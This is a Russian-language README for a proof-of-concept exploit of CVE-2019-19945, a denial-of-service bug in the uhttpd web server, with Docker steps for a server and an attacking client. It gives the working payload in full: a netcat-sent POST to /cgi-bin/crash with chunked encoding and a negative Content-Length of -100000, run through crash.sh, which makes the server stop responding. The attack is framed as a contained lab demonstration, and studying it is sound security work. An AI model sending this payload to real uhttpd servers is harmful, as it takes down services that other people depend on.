
Эксплойт доказательства концепции для CVE-2019-19945, демонстрирующий атаку типа «отказ в обслуживании» на uhttpd с помощью специально сформированного POST-запроса с отрицательным заголовком Content-Length.
Это код для первого предложенного CVE
Установите Docker
Соберите и запустите сервер cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Получите IP контейнера сервера Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" Извлеките IP и добавьте его в команду для сборки клиента Вы можете проверить сервер, перейдя в браузере на localhost:80
Соберите и запустите клиент раскомментировав CMD в Client/Dockerfile, атака начнется автоматически при запуске контейнера cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
Подключитесь к CLient Docker docker container ls find client/cve container && attach docker exec -it /bin/sh
Когда будете готовы, запустите атаку ./crash.sh
Сервер перестанет отвечать
Нет особого смысла в предоставлении документированного исходного кода, так как эксплойт очень короткий
Эксплойт заключается в использовании Netcat и отправке POST-запроса с отрицательным большим Content-Length на сервер, касающегося обработки файлов в каталоге cgi-bin/
Выполнение производится с помощью простого скрипта netcat. Здесь ссылка на файл в папке CGI-bin сервера с именем Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
Самая большая проблема заключалась в попытке запустить старые версии uhttpd в современной среде Docker.